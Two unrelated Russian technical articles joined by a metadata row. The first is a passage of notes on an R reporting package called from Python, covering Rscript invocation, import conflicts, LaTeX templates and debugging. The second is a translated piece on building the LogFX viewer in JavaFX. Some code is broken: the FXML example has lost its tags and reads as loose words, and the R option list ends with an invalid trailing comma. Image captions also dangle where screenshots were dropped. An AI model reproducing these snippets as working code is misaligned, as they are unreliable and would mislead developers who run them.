Первое, с чем пришлось столкнуться - это желание заказчика запускать генерацию отчетов на R из Python. Точнее из Python запускали **subprocess.Popen**,который запускал R script. R script, в свою очередь, запускал одну из функций генерации того или иного отчета, которая была частью нашего проекта, написанного как пакет на R. Разницу между пакетом и обычными скриптами на R я описал тут - [ссылка](https://habr.com/ru/company/deutschetelekomitsolutions/blog/548262/). Можно сразу дергать функции R и мой коллега пытался переписать вызов отчетов из Python, но то ли из-за проблем с окружением на сервере, то ли из-за Camunda, в которой это все запускалось, такой способ отлично работал локально, но не работал на нашем боевом окружении. Минусом же вызова R через **subprocess.Popen** является то, что Python вызывает R скрипт через shell, а уже внутри этого скрипта дергается функция пакета R.
Запуск отчета через R script файлПараметры для отчета тоже приходится передавать через shell и уже в R script файле так же их читать как будь то их передают через командную строку.
Часть кода на Python:
```
parameters = {
"param1": param1,
"param2": param2,
"param3": param3
}
...
command_list = ["Rscript", path_to_r_script] + [f"--{key}={value}" for key, value in parameters.items()]
with subprocess.Popen(
command_list, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=work_dir
) as sub_prc_response:
stdout, stderr = sub_prc_response.communicate()
return_code = sub_prc_response.returncode
```
Script на R, где **ourpackage** название нашего пакета:
```
options(warn=-1)
library(ourpackage)
library(optparse)
options = list(
make_option("--param1", help = "first parameter"),
make_option("--param2", help = "second parameter"),
make_option("--param3", help = "third parameter"),
)
cli_arguments = parse_args(OptionParser(option_list = options))
generate_report(param1 = cli_arguments$param1,
param2 = cli_arguments$param2,
param3 = cli_arguments$param3)
```
Возникает вопрос как это все тестировать и отлаживать. У нас часть кода на Python, а часть на R. Можно использовать [JupiterHub](https://jupyter.org/hub), но наши администраторы настроили его так, что код на Python мы могли вызвать, а вот код на R нет. Мотив был - экономия памяти и ресурсов. В итоге тестировали через RStudio. В ней можно создать файл типа Python:
Вызов python функций в RStudioИ уже внутри этого файла вызвать функцию python, которая, в свою очередь, вызовет генерацию отчета на R.
Пример вызова:
```
from our_project.workflow.generate_report_one import report_one_executor
task = {
"variables": {
"param1": {"value": "value1"},
"param2": {"value":"value2"},
"param3": {"value":"value3"}
}
}
report_one_executor(task)
```
Чтобы проверить и отладить сам R script файл, его можно запустить из Terminal в RStudio. Для этого его вам придется положить внутрь вашего проекта, хотя бы на время теста и отладки. Можно держать его и вне проекта, если вам это позволяют настройки окружения, в котором вы работаете. У меня не было такой возможности, поэтому я размещал script файл в подпапке внутри R папки проекта, так как в пакет содержимое подпапок не попадает и, конечно же, не коммитил эту попдпапку в репозиторий. Команду запуска отчета через script надо писать в Terminal. Это вкладка на нижней панели в RStudio.
Запуск из под TerminalПример запуска из shell:
```
Rscript R/reports/start_script.R \
--param1=value1 \
--param2=value2 \
--param3=value3
```
В коде, для генерации отчетов, надо указать путь к RMD файлу, на основе которого будет строиться отчет. Пример функции, которая строит отчет ниже, при условии что RMD файл лежит в **inst/reports**:
```
output_rmd <-
function(output_report_file = "test",
output_report_dir = NULL,
output_type = "DOCX",
params_list = NULL) {
rmd_file = "test-report.Rmd"
report_rmd_folder <- system.file("reports", package = "myRTestPrj")
rmd_input <- paste(report_rmd_folder, rmd_file, sep = "/")
rmarkdown::render(
rmd_input,
output_file = output_report_file,
output_dir = output_report_dir,
params = params_list
)
}
```
2. Конфликт библиотек
---------------------
При сборке пакета часто можно увидеть сообщения типа:
```
replacing previous import ‘flextable::rotate’ by ‘ggpubr::rotate’ when loading ‘our_project’
```
В этом сообщении говорится, что если явно для функции **rotate** не указать название библиотеки, то будет вызываться **ggpubr::rotate**. Это происходит из-за того, что в разных пакетах есть функции с одинаковыми именами. Чтобы эти сообщения не выводились можно указать какие функции из каких библиотек должны грузиться, а какие нет. У нас в проекте для этого в папке **R** был создан файл **global\_imports\_pkg.R** в котором прописывались именно те функции, которые нам нужны.
```
# Global libraries
#' @importFrom data.table dcast melt rbindlist
#' @import ggplot2
#' @rawNamespace import(ggpubr, except=c(font))
#' @importFrom grDevices rgb colorRampPalette
#' @rawNamespace import(huxtable, except=c(add_rownames,theme_grey))
NULL
```
Но это потенциально может привести к другой, более коварной ошибке. Пусть у вас в **global\_imports\_pkg.R** написанно так:
```
#' @importFrom data.table melt rbindlist
```
А в коде вы вызываете функцию **dcast**, которой нет в строчке выше. Есл вы запустите функцию из под RStudio, просто написав в консоли:
Запуск функции в RStudioУ вас все будет работать, так как локально вы себе инсталлировали весь пакет **data.table**, а вот при попытке вызвать эту же функцию из Python, у вас будет ошибка, так как в проекте у вас написанно, что в наш пакет нужно подгрузить только 2 функции из **data.table** - это **melt** и **rbindlist**. Ту же ошибку вы можете получить на сервере, хотя локально все будет работать.
Похожее поведение можно так же получить, если забыть добавить используемый вами сторонний пакет в файл **DESCRIPTION**:
```
...
Imports:
highcharter,
statnet.common,
hablar
Suggests:
devtools,
...
```
При запкуске локально в RStudio все будет работать, так как вы явно установили этот пакет локально, но вот при вызове вашего пакета сторонним кодом или средой вы получите ошибку.
3. Утечка памяти в Rmarkdown::render
------------------------------------
При генерации больших отчеов в PDF формате возникает ошибка, если посмотреть в терминале на процесс генерации шаблона, то видно как он отъедает всю доступную память и падает. Для решения этой проблемы мы резали отчет на части и потом их склеивали. Для этого использовали [qpdf::pdf\_combine](https://www.rdocumentation.org/packages/qpdf/versions/1.2.0/topics/qpdf). Проблема с утечкой памяти обсуждается как минимум [тут](https://stackoverflow.com/questions/39319558/pandoc-rstudio-knitr-memory-leak). Какого-то более простого решения найти не получилось, хотя сил и времени было потраченно немало.
4. Latex
--------
Для форматирования pdf отчетов использовали [Latex](https://www.latex-project.org/). Начальный шаблон для отчета был взят [тут](https://github.com/iandol/dotpandoc/blob/master/templates/custom.latex).
Код на R для генерации отчета с шаблоном Latex:
```
rmarkdown::render(
rmd_input,
output_format = "pdf_document",
output_file = output_file,
output_dir = output_report_dir,
params = params,
output_options = list(
template = paste0(report_rmd_folder,
"/assets/custom.latex"),
clean = TRUE
)
)
```
Так же непосредственно в шапку RMD файла можно добавить команды для форматирования документа:
```
---
title:
header-includes:
\usepackage{graphicx}
\usepackage{fancyhdr}
\pagestyle{fancy}
\color{ecbdarkblue}
\color{ecbbgr}
% Head
\fancyhead[C]{}
\fancyhead[L]{}
\fancyhead[R]{}
% Remove header line
\renewcommand{\headrulewidth}{0pt}
% Page margins
\usepackage{geometry}
\geometry{
a4paper,
left=30px,
top=10mm,
headsep=5mm,
right=50px
}
% Titles
\usepackage{titlesec}
\titlespacing\section{0mm}{7pt plus 4pt minus 2pt}{28pt plus 2pt minus 2pt}
\titlespacing\subsection{6mm}{-7pt plus 4pt minus 2pt}{0pt plus 2pt minus 2pt}
\titlespacing\subsubsection{6mm}{12pt plus 4pt minus 2pt}{0pt plus 2pt minus 2pt}
% Section and subsection titles
\sectionfont{\fontfamily{phv}\selectfont\LARGE\bfseries\color{ecbdarkblue}}
\subsectionfont{\fontfamily{phv}\selectfont\normalsize\mdseries\color{white}}
\subsubsectionfont{\fontfamily{phv}\selectfont\scriptsize\mdseries\color{white}}
\color{black}
% Line spacing
\usepackage{setspace}
\setstretch{0.6}
% Section color
\usepackage{xcolor}
\usepackage{framed}
\colorlet{shadecolor}{ecbbgr}
% Footer
\fancyfootoffset[R]{-2mm}
\renewcommand{\footrulewidth}{0.4pt}\color{ecbdarkblue}
\rfoot{\vspace{0.5mm}\Large\color{ecbdarkblue}\colorbox{ecbbgr}{ S \color{white}\thepage}}
\cfoot{\vspace{0.01mm}\scriptsize\bfseries\hspace{420px} BBB \\ \scriptsize\bfseries\color{black}\hspace{390px} DG-S/EA/GBS\\ \scriptsize\bfseries\color{ecbdarkblue}\hspace{395px} `r format(Sys.Date(), format="%d %b %Y")`}
\lfoot{}
output:
pdf_document:
keep_md: no
keep_tex: no
latex_engine: pdflatex
number_sections: false
---
```{r setup, include=FALSE}
# some code here...
```
```
Подробно команды Latex я не буду разбирать, так как достаточно посмотреть на код в тех или иных блоках и понять, как надо его поправить, чтобы изменить форматирование. Во многом я опирался на [этот сайт](https://www.overleaf.com/learn) когда форматировал документ.
Можно так же гибко настроить какие ошибки и сообщения будут писаться в отчет. Это делается командой:
```
knitr::opts_chunk$set(echo = FALSE,
warning = FALSE,
message = FALSE,
error = TRUE)
```
Можно эти настройки так же включать и отключать в шапке chunk:
```
```{r our_chunk, eval = TRUE, results='asis', echo=FALSE, warning=FALSE, message=FALSE, error=TRUE}
```
5. Заглушки для внешних библиотек при написании Unit тестов
-----------------------------------------------------------
Для вызова вункций из внешних библиотек, написанных на Python мы использовали **reticulate**.
Пример вызова внешней функции:
```
get_python_func <- function(param1) {
pm <- reticulate::import("our_project.core.python_functions")
return(pm$get_python_func(param1))
}
```
Тест - заглушка для такой функции:
```
test_that("get_python_func", {
stub(get_python_func, "reticulate::import", list(get_python_func = function(...) TRUE))
res <- get_python_func(param1 = "value1")
expect_equal(res, TRUE)
})
```
6. Отладка кода
---------------
При отладке кода есть возможность скопировать значения внутренних переменных в глобальную область памяти и напрямую вызвать нужную нам часть кода с определенными значениями переменных для этого кода.
Отладка на RНа картинке выше в верхнем правом углу в поле Data есть переменная df. Чтобы скопировать её в глобальную область надо написать в Console:
```
assign("df", value = df, envir = .GlobalEnv)
```
Копируем локальные переменныеИ выполнить эту команду - нажать **ENTER**.
После этого можно выделить тот код который мы хотим протестировать с этой локальной переменной и запустить его - **CTRL+ENTER**.
Запуск фрагмента кода с установленной переменной Дело в том, что отладка в RMD файле не работает и вся логика по возможности выносится в функции, которые находятся в файлах **\*.R**. К этому ещё добавляется не высокая скорость генерации отчетов из RMD файла. В таких условиях каждый раз делать **DEBUG** не удобно. Работает все медленно и участки кода в **RMD** не отладить. А с установкой значений переменных в глобально области можно проверить любой участок кода, даже если он находится непосредственно в **RMD** файле.
7. Использование классов в проекте
----------------------------------
Мы использовали [ReferenceClasses](https://www.rdocumentation.org/packages/methods/versions/3.6.2/topics/ReferenceClasses), решив, что они больше всего нам подходят. Правда, их невозможно отладить инструментами RStudio. Но есть стандартные функции отладки, с помощью которых сама отладка возможна:
```
s$trace(class_method, browser)
s$untrace(class_method, browser)
debug(s$class_method)
```
Где s - это экземпляр класса, а class\_method - это метод класса. Но он оказался не очень удобным и мы отлаживали с помощью переменных в глобальной области видимости.
8. Прочие нюансы проекта
------------------------
* Библиотека для работы с данными для отчетов - [dplyr](https://dplyr.tidyverse.org/);
* Чтобы создать список из входящих параметров функции использовали следующий код:
```
# create list with input parameters
params <- c(as.list(environment()))
```
* Удалить параметры или параметр из глобального окружения можно с помощью команды [rm](https://astrostatistics.psu.edu/su07/R/html/base/html/rm.html);
* Статический анализатор кода - [lintr](https://cran.r-project.org/web/packages/lintr/index.html);
* Для автоматической записи документации в Confluence использовали библиотеку [conflr](https://cran.r-project.org/web/packages/conflr/index.html);
* Таблицы в отчетах делали с помощью [felxtable](https://cran.r-project.org/web/packages/flextable/index.html).
Заключение
----------
Это статья - памятка, в которой я описал ключевые вещи проекта, которые я не хотел бы забыть и которые, на мой взгляд, были бы полезны тем, кто работает с аналогичными проектами на языке R. Возможно что-то можно улучшить, а чего-то избежать, но не хотелось бы "Изобретать велосипед заново", начиная новый проект на R. В заключении хотел бы пожелать всем успехов, а также хороших и интересных проектов. | https://habr.com/ru/post/691938/ | null | ru | null |
# Скажи «нет» Electron! Пишем быстрое десктопное приложение на JavaFX
В последнее время на программистских форумах развернулись неслабые дискуссии (для примера см. [здесь](https://www.reddit.com/r/programming/comments/70jxpz/electron_the_bad_parts/), [здесь](https://news.ycombinator.com/item?id=14245183) и [здесь](https://www.reddit.com/r/programming/comments/6br36z/native_code_is_still_the_best_alternative_to/), и [эта сегодняшняя](https://medium.com/@caspervonb/why-i-still-use-vim-67afd76b4db6)) об Electron и его влиянии на сферу разработки десктопных приложений.
Если вы не знаете [Electron](https://electron.atom.io/), то это по сути веб-браузер ([Chromium](https://www.chromium.org/Home)) в котором работает только ваше веб-приложение… словно настоящая десктопная программа (нет, это не шутка)… это даёт возможность использовать веб-стек и разрабатывать кросс-платформенные десктопные приложения.
Самые новые, хипстерские десктопные приложения в наше время сделаны на Electron, в том числе [Slack](https://slack.com/), [VS Code](https://code.visualstudio.com/), [Atom](https://atom.io/) и [GitHub Desktop](https://desktop.github.com/). Необычайный успех.
Мы писали десктопные программы десятилетиями. С другой стороны, веб только начал развиваться менее 20 лет назад, и на протяжении почти всего этого времени он служил только для доставки документов и анимированных «гифок». Никто не использовал его для создания полноценных приложений, даже самых простых!
Десять лет назад невозможно было себе представить, что стек веб-технологий можно использовать для создания десктопного приложения. Но наступил 2017 год, и много [умных людей](https://githubengineering.com/how-four-native-developers-wrote-an-electron-app/) полагают, что Electron — отличная идея!
Здесь не столько результат превосходства веб-стека для создания приложений (он далёк от такого превосходства, и вряд ли кто-то будет спорить, что [веб — это бардак](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f)), сколько провал существующих фреймворков для разработки UI на десктопах. Если люди предпочитают отгружать со своими программами целый веб-браузер только для того, чтобы использовать отличные инструменты вроде JavaScript (сарказм) для разработки, что-то пошло совершенно не так.
Так что это за ужасные альтернативы, которые проиграли конкурентную борьбу веб-стеку?
Я решил взглянуть и создать реальное приложение на одной из этих технологий.
Альтернативы Electron
=====================
Ели вы не возражаете, что несколько групп разработки будут создавать разные версии приложения под разные ОС, то варианты выглядят примерно так: [AppKit](https://developer.apple.com/documentation/appkit) для MacOS, [WPF](https://docs.microsoft.com/en-us/dotnet/framework/wpf/) для Windows (я не специалист по разработке под конкретные платформы, так что дайте знать, пожалуйста, какие варианты в наши дни более популярны).
Однако реальные конкуренты Electron — это мультиплатформенные фреймворки. Думаю, среди них самыми популярными сегодня являются [GTK+](https://www.gtk.org/), [Qt](http://wiki.qt.io/About_Qt) и [JavaFX](https://www.java.com/en/download/faq/javafx.xml).
### GTK+
GTK+ написан на C, но связан со многими [другими языками](https://www.gtk.org/language-bindings.php). Этот фреймворк использовался для разработки прекрасной платформы [GNOME-3](https://www.gnome.org/gnome-3/).
### Qt
Qt кажется самой популярной альтернативой Electron в дискуссиях, которые попадались мне на глаза… Это библиотека C++, но тоже связанная с [другими языками](http://wiki.qt.io/Language_Bindings) (хотя кажется, что никакие из них не поддерживаются на коммерческой основе, и сложно сказать, насколько они доработаны). Qt вроде бы [популярный выбор](https://www1.qt.io/built-with-qt/) для встроенных систем.
### JavaFX
Однако в этой статье я сконцентрируюсь на разработке десктопных приложений на JavaFX, потому что я считаю, что JavaFX и JVM отлично подходят для десктопных программ.
Что бы вы ни думали о JVM, не существует никакой другой платформы (кроме, может быть, самого Electron!), настолько простой для кросс-платформенной разработки. Как только вы создали свой jar, на любой платформе, вы можете распространять его среди пользователей всех ОС — и он просто будет работать.
При [большом разнообразии языков](https://en.wikipedia.org/wiki/List_of_JVM_languages), которые сейчас поддерживаются в JVM, выбор языка тоже не должен стать проблемой: определённо найдётся такой, какой вам понравится ([в том числе JavaScript](https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/javafx.html), если вы не способны от него отказаться), и вы можете использовать JavaFX с любым языком JVM без особых проблем. В этой статье, кроме Java, я покажу немного кода на [Kotlin](https://kotlinlang.org/).
Сам UI создаётся просто кодом (если у вас есть замечательная поддержка IDE от [IntelliJ](https://www.jetbrains.com/idea/), [Eclipse](https://www.eclipse.org/ide/) или [NetBeans](https://netbeans.org/): это всё отличные бесплатные IDE, которые, наверное, превосходят любых конкурентов и, кстати, представляют собой самые лучшие образцы десктопных приложений на Java) или в визуальном конструкторе UI: [SceneBuilder](http://gluonhq.com/products/scene-builder/) (который умеет интегрироваться в IntelliJ) или NetBeans [Visual Debugger](https://netbeans.org/features/java-on-client/javafx.html).
> **История JavaFX**
>
>
>
> JavaFX — не новая технология. Она появилась в декабре 2008 года и сильно отличалась от того, что мы видим сегодня. Идея заключалась в создании современного фреймворка UI для замены устаревшего Swing Framework, который являлся официальным фреймворком JVM с конца 90-х.
>
>
>
> Oracle чуть не испортила всё с самого начала, приступив к созданию особого, декларативного языка, который предполагалось использования для создания UI приложений. Это не очень хорошо восприняли Java-разработчики, и та инициатива чуть не погубила JavaFX.
>
>
>
> Заметив проблему, Oracle решила выпустить JavaFX 2 в 2011 году без собственного особого языка, а вместо этого применив FXML в качестве опции для чистого Java-кода (как мы увидим позже).
>
>
>
> Около 2012 года JavaFX обрёл некую популярность, а Oracle приложила значительные усилия для улучшения и популяризации этой платформы. С версии 2.2 фреймворк JavaFX стал достаточно цельным фреймворком, но его по-прежему не включали в стандартную среду выполнения Java (хотя он всегда поставлялся вместе с JDK).
>
>
>
> Только с версии JavaFX 8 (изменение версии сделано для соответствия Java 8) он стал частью стандартного рантайма Java.
>
>
>
> Сегодня фреймворк JavaFX может и не является крупным игроком в мире UI, но на нём сделано немало [реальных приложений](https://jaxenter.com/20-javafx-real-world-applications-123653.html), у него есть довольно много [связанных библиотек](http://fxexperience.com/) и его [портировали на мобильную платформу](http://gluonhq.com/products/mobile/javafxports/).
Создание приложения JavaFX
==========================
В своём приложении для просмотра логов [LogFX](https://github.com/renatoathaydes/LogFX), я решил просто использовать Java (потому что там в основном довольно низкоуровневый код, а я хотел сконцентрироваться на скорости и малом размере пакета) и IntelliJ в качестве IDE. Я почти решился писать на [Kotlin](https://kotlinlang.org/), но поддержка Java в IntelliJ оказалась настолько хорошей, так что писать на Java (точнее, позволить IntelliJ делать это за меня — это ближе к истине) стало не такой большой проблемой, чтобы оправдать лишние 0,9 МБ в дистрибутиве.
Я решил не использовать FXML (язык описания GUI для JavaFX на основе XML) или визуальный конструктор UI, потому что интерфейс у программы очень простой.
Итак, посмотрим на какой-нибудь код!
### Java Hello World
Приложение JavaFX — это просто класс, который расширяет `javafx.application.Application` и показывает JavaFX `Stage`.
Вот как пишется Hello World на JavaFX:
```
public class JavaFxExample extends Application {
@Override
public void start(Stage primaryStage) throws Exception {
Text helloWorld = new Text("Hello world");
StackPane root = new StackPane(helloWorld);
primaryStage.setScene(new Scene(root, 300, 120));
primaryStage.centerOnScreen();
primaryStage.show();
}
public static void main(String[] args) {
launch(JavaFxExample.class, args);
}
}
```
**src/main/java/main/JavaFxExample.java**
На «маке» этот код покажет примерно такое:
### FXML+Java Hello World
Если вам трудно писать код для UI и вы предпочитаете использовать язык разметки, вот эквивалент того же кода с FXML:
```
xml version="1.0" encoding="UTF-8"?
import javafx.scene.layout.StackPane?
import javafx.scene.Scene?
import javafx.scene.text.Text?
Hello world
```
**src/main/resources/main/Example.fxml**
```
public class JavaFxExample extends Application {
@Override
public void start(Stage primaryStage) throws Exception {
Scene scene = FXMLLoader.load(getClass().getResource("Example.fxml"));
primaryStage.setScene(scene);
primaryStage.centerOnScreen();
primaryStage.show();
}
public static void main(String[] args) {
launch(JavaFxExample.class, args);
}
}
```
**src/main/java/main/JavaFxExample.java**
Обратите внимание, что IntelliJ поддерживает FXML и свяжет его содержимое с соответствующим кодом Java и наоборот, подсветит ошибки, сделает автодополнение, справится с импортом, покажет встроенную документацию и так далее, что довольно круто… но как я раньше сказал, решено было не использовать FXML, поскольку задуманный UI был очень простым и довольно динамичным… так что я больше не покажу кода FXML. Если интересно, изучите [руководство по FXML](http://docs.oracle.com/javafx/2/get_started/fxml_tutorial.htm).
### Hello World на Kotlin+TornadoFX
Прежде чем двигаться дальше, давайте посмотрим, как такой код выглядит на современном языке вроде Kotlin с его собственной библиотекой для написания приложений JavaFX, которая называется [TornadoFX](https://github.com/edvin/tornadofx):
```
class Main : App() {
override val primaryView = HelloWorld::class
}
class HelloWorld : View() {
override val root = stackpane {
prefWidth = 300.0
prefHeight = 120.0
text("Hello world")
}
}
```
**src/main/kotlin/main/app.kt**
Многим может показаться привлекательным использовать Kotlin и JavaFX, особенно если вы предпочитаете безопасность типов (в TornadoFX есть приятная функция «[типобезопасные таблицы стилей](https://edvin.gitbooks.io/tornadofx-guide/content/part1/6.%20CSS.html)») и если добавить лишние 5 МБ в приложения для вас не проблема.
Даже если подобные накладные расходы кажутся чрезмерными и вы не хотите включать фреймворк в программу (и разбираться со всеми его сложностями и причудами), то Kotlin нормально работает и с чистым JavaFX.
Стили и темы для пользовательского интерфейса JavaFX
====================================================
Теперь, когда мы разобрались с основами JavaFX, посмотрим, как применить стили для приложений JavaFX.
Также как существуют различные подходы к макетированию, существуют и разные варианты стилей для JavaFX.
Предположим, что мы хотим сделать тёмный фон и белый текст, как показано на скриншоте:
### Программные и встроенные стили
Один из вариантов (мучительный, но зато с безопасными типами) — сделать это программным способом:
```
root.setBackground(new Background(new BackgroundFill(
Color.DARKSLATEGRAY, CornerRadii.EMPTY, Insets.EMPTY)));
helloWorld.setStroke(Color.WHITE);
```
Более простой программный способ — установить стили в CSS:
```
root.setStyle("-fx-background-color: darkslategray");
helloWorld.setStyle("-fx-stroke: white");
```
Обратите внимание, что здесь IntelliJ опять обеспечивает автодополнение для значений строк.
Если вы используете FXML:
```
Hello world
```
То же самое…
### Использование отдельных таблиц стилей
Если вы не хотите удаляться от мира веба и предпочитаете задавать стили в отдельных таблицах стилей, JavaFX и это умеет! Именно такой подход я выбрал, потому что он позволяет стилизовать всё в одном месте и даже даёт пользователям возможность выбирать стили на свой вкус.
Для этого сначала создаём таблицу стилей:
```
.root {
-fx-base: darkslategray;
}
Text {
-fx-stroke: white;
}
```
**src/main/resources/css/hello.css**
Теперь добавляем её в `Scene`:
```
primaryStage.getScene().getStylesheets().add("css/hello.css");
```
И всё.
Заметьте, что таблицы стилей устанавливают не только фоновый цвет `StackPane` как `darkslategray`, но и меняют основной цвет темы.
Это значит, что все управляющие элементы и «фоновые» элементы примут цвет, основанный на этом цвете. Довольно изящная функция, потому что вы можете устанавливать цвета на базе основного цвета. Так вы гарантируете, что если изменить основной цвет, то практически всё будет хорошо выглядеть в новой расцветке.
Например, в нашем случае более подходящим цветом текста станет не белый, а «противоположный» цвет относительно основного цвета темы, чтобы текст всегда оставался читаемым:
```
-fx-stroke: ladder(-fx-base, white 49%, black 50%);
```
Таблицы стилей JavaFX довольно умные, для дополнительной информации см. [CSS Reference Guide](https://docs.oracle.com/javafx/2/api/javafx/scene/doc-files/cssref.html).
Вот пример простого приложения, где мы поставили кнопку вместо текста. Слева показаны стили по умолчанию, а справа используется таблица стилей, которую мы только что создали:
*Слева: стили по умолчанию JavaFX. Справа: кастомные стили, созданные выше*
В своём приложении я хотел поставить по умолчанию тёмную тему, но при этом оставить пользователям возможность загружать собственные стили, чтобы они могли использовать любую тему, какая им нравится.
Вот как LogFX выглядит в итоге с [темой по умолчанию](https://github.com/renatoathaydes/LogFX/blob/master/src/main/resources/css/LogFX.css):
[](https://habrastorage.org/webt/59/d5/c7/59d5c7072d2a8992657433.png)
Обратите внимание, что для кнопок я использовал иконки [FontAwesome](http://fontawesome.io/icons/). Было довольно просто [стилизовать кнопки в CSS](https://github.com/renatoathaydes/LogFX/blob/master/src/main/resources/css/icons.css). Просто убедитесь в том, чтобы шрифт устанавливался как можно раньше с помощью такой инструкции:
```
Font.loadFont( LogFX.class.getResource( "/fonts/fontawesome-webfont.ttf" ).toExternalForm(), 12 );
```
С кастомными таблицами стилей можно кардинально изменить внешний вид приложения. Например, вот очень зелёная тема в Linux Mint:
[](https://habrastorage.org/webt/59/d5/c7/59d5c7e87192a292189112.png)
Хотя хороший вкус автора этой зелёной темы под вопросом, она показывает мощные возможности стилизации в JavaFX. Здесь вы можете реализовать практически всё, на что способно ваше воображение.
В завершение хотел бы упомянуть классные эффекты, которые есть в JavaFX… Я хотел сделать начальный экран, который бы хорошо выглядел просто с форматированным текстом.
В JavaFX это делается просто. Вот что у меня получилось (я сделал экран на основе [образца GroovyFX](http://groovyfx.org/)):
И вот какая таблица стилей соответствует этому стартовому экрану:
```
Text {
-fx-fill: white;
}
#logfx-text-log {
-fx-font-family: sans-serif;
-fx-font-weight: 700;
-fx-font-size: 70;
-fx-fill: linear-gradient(to top, cyan, dodgerblue);
}
#logfx-text-fx {
-fx-font-family: sans-serif;
-fx-font-weight: 700;
-fx-font-size: 86;
-fx-fill: linear-gradient(to top, cyan, dodgerblue);
-fx-effect: dropshadow(gaussian, dodgerblue, 15, 0.25, 5, 5);
}
```
Здесь возможно создание очень неплохих эффектов. Для дополнительной информации см. [руководство](https://docs.oracle.com/javase/8/javafx/user-interface-tutorial/text-effects.htm).
В следующих разделах обсудим, как менять виды (экраны), перезагружать код на лету (hot reload) и обновлять таблицы стилей во время работы программы.
Дизайн, отладка и перезагрузка кода
===================================
Практически невозможно создавать интерфейс пользователя без возможности мгновенно просматривать изменения. Поэтому важной частью любого фреймворка UI является «горячая» перезагрузка кода или некая разновидность конструктора UI.
У JavaFX (и у самой JVM) есть несколько вариантов решения этой проблемы.
### SceneBuilder
Первое из них — это [SceneBuilder](http://gluonhq.com/products/scene-builder/), визуальный конструктор UI, который позволяет создавать FXML, просто перетаскивая компоненты UI.
[](https://habrastorage.org/webt/59/d5/ca/59d5ca3c20eb9196287517.jpeg)
Его можно интегрировать в любые Java IDE, что упрощает создание новых видов (экранов).
Мне раньше приходилось использовать SceneBuilder для создания форм и тому подобных сложных видов, но я обычно просто набрасывал там что-то по-быстрому, а затем редактировал код вручную для приведения его к конечному виду.
Если вы так сделаете, а потом откроете вид в SceneBuilder, он по-прежнему будет нормально работать, так что можно поочерёдно редактировать код вручную или в SceneBuilder — и просматривать результат.
### ScenicView
Как только у вас готов базовый дизайн, можно запустить ScenicView для просмотра и редактирования графа сцены при работающем приложении.
Представьте это как эквивалент инструментов разработчика в браузере.
[](https://habrastorage.org/webt/59/d5/cb/59d5cb6b29495531130419.png)
Для запуска ScenicView со своим приложением просто скачайте jar и передайте параметр `-javaagent:/path-to/scenicView.jar` в JVM.
ScenicView позволяет изменять и удалять узлы, отслеживать события и читать документацию Javadocs для выбранных элементов.
### Горячая перезагрузка кода JVM
Если хотите изменить код приложения, который напрямую не связан с UI, то длоя этого подходит отладчик Java с горячей заменой кода во время работы приложения. Базовая поддержка перезагрузки кода имеется в Oracle JVM и HotSpot. Думаю, что она есть и в OpenJDK JVM.
Однако базовая поддержка этой функции очень ограничена: вам позволено менять только реализацию уже существующих методов.
Зато есть расширение HotSpot VM под названием [DCEVM](http://ssw.jku.at/dcevm/) (Dynamic Code Evolution VM) с гораздо большей функциональностью: добавление/удаление методов и полей, добавление/удаление классов, изменение значения итоговых переменных и прочее. В [другой статье](https://sites.google.com/a/athaydes.com/renato-athaydes/posts/4freewaystohot-swapcodeonthejvm#TOC-3.-DCEVM-JVM-enhancement-) я уже писал о нём и о других способах перезагрузки кода в работающей JVM.
Я использовал это расширение при разработке LogFX — и оно отлично себя проявило. Если не закрыть и заново не открыть окно, то вид не меняется автоматически при перезагрузке кода, но это не такая большая проблема, если менять что-то в Stage… к тому же, если вы хотите изменить только компонент UI, то можно использовать ScenicView или просто вернуться в ScenicBuilder и как угодно поменять дизайн.
Для запуска DCEVM нужно только [установить его](https://dcevm.github.io/) и сверить номера версий расширения и JVM. После этого приложение запускается с отладчиком — и каждый раз после перекомпиляции в IDE новый код автоматически подгрузится в работающую программу.
В IntelliJ после изменения класса и перекомпиляции вы увидите нечто подобное (Cmd+F9 на «маке»):
[](https://habrastorage.org/webt/59/d5/d0/59d5d08772d50118645329.png)
### Обновление таблиц стилей
JavaFX не обновляет автоматически таблицы стилей. Но для LogFX я хотел сделать такую возможность, чтобы можно было изменять стили — и немедленно наблюдать эффект в приложении.
Поскольку LogFX — программа для просмотра логов, у неё довольно продвинутый `[FileChangeWatcher](https://github.com/renatoathaydes/LogFX/blob/master/src/main/java/com/athaydes/logfx/file/FileChangeWatcher.java)`, который подходит для просмотра стилей и их перезагрузки.
Но он работает только если стили поставляются из отдельного файла, а не из самого приложения (из jar).
Поскольку я уже разрешил пользователям устанавливать произвольный файл с таблицами стилей, то это не стало проблемой.
Я использовал эту функцию в процессе разработки, и она очень впечатляет. Если вам нужна такая же фича, можно написать собственный диспетчер файлов или скопировать мой (в конце концов, он с открытыми исходниками).
Для выбора таблицы стилей как файла (в отличие от ресурса jar), к сожалению, придётся использовать разный синтаксис под Unix/Mac и Windows. Вот такой метод я применил, чтобы решить проблему:
```
private static String toAbsoluteFileUri( File file ) {
String absolutePath = file.getAbsolutePath();
if ( File.separatorChar == '\\' ) {
// windows stuff
return "file:///" + absolutePath.replace( "\\", "/" );
} else {
return "file:" + absolutePath;
}
}
```
Это работает на Mac, Windows и Linux Mint. Но это только первая из двух проблем, которые возникают на разных ОС (вторая — то, что не отображается иконка в системном трее на Mac, хотя есть [уродливое обходное решение](https://github.com/renatoathaydes/LogFX/blob/master/src/main/java/com/athaydes/logfx/SetupMacTrayIcon.java) этой проблемы). В остальном JavaFX всё абстрагирует довольно хорошо по большей части.
Наконец, когда диспетчер определил изменение в файле с таблицами стилей, вы можете обновить стиль, просто удалив его и немедленно добавив обратно:
```
Runnable resetStylesheet = () -> Platform.runLater( () -> {
scene.getStylesheets().clear();
scene.getStylesheets().add( stylesheet );
} );
```
Такой метод неплохо работает. Но если вы не хотите сами его писать, то ScenicView тоже умеет [отслеживать таблицы стилей](http://fxexperience.com/scenic-view/help/) во внешних файлах (но не внутри jar), и [TornadoFX тоже это поддерживает](https://edvin.gitbooks.io/tornadofx-guide/content/part1/6.%20CSS.html#applying-style-classes-with-stylesheets), так что здесь есть варианты.
Заключение
==========
Создание приложения на JavaFX стало довольно приятным опытом. У меня имелась некоторая практика написания JavaFX-приложений для работы несколько лет назад (когда JavaFX находился на ранней стадии развития, что теперь уже осталось в прошлом), так что у меня определённо была некая фора… но я также работал как веб-разработчик и теперь не могу поверить, что кто-то предпочтёт использовать веб-стек вместо такой вменяемой среды как JVM.
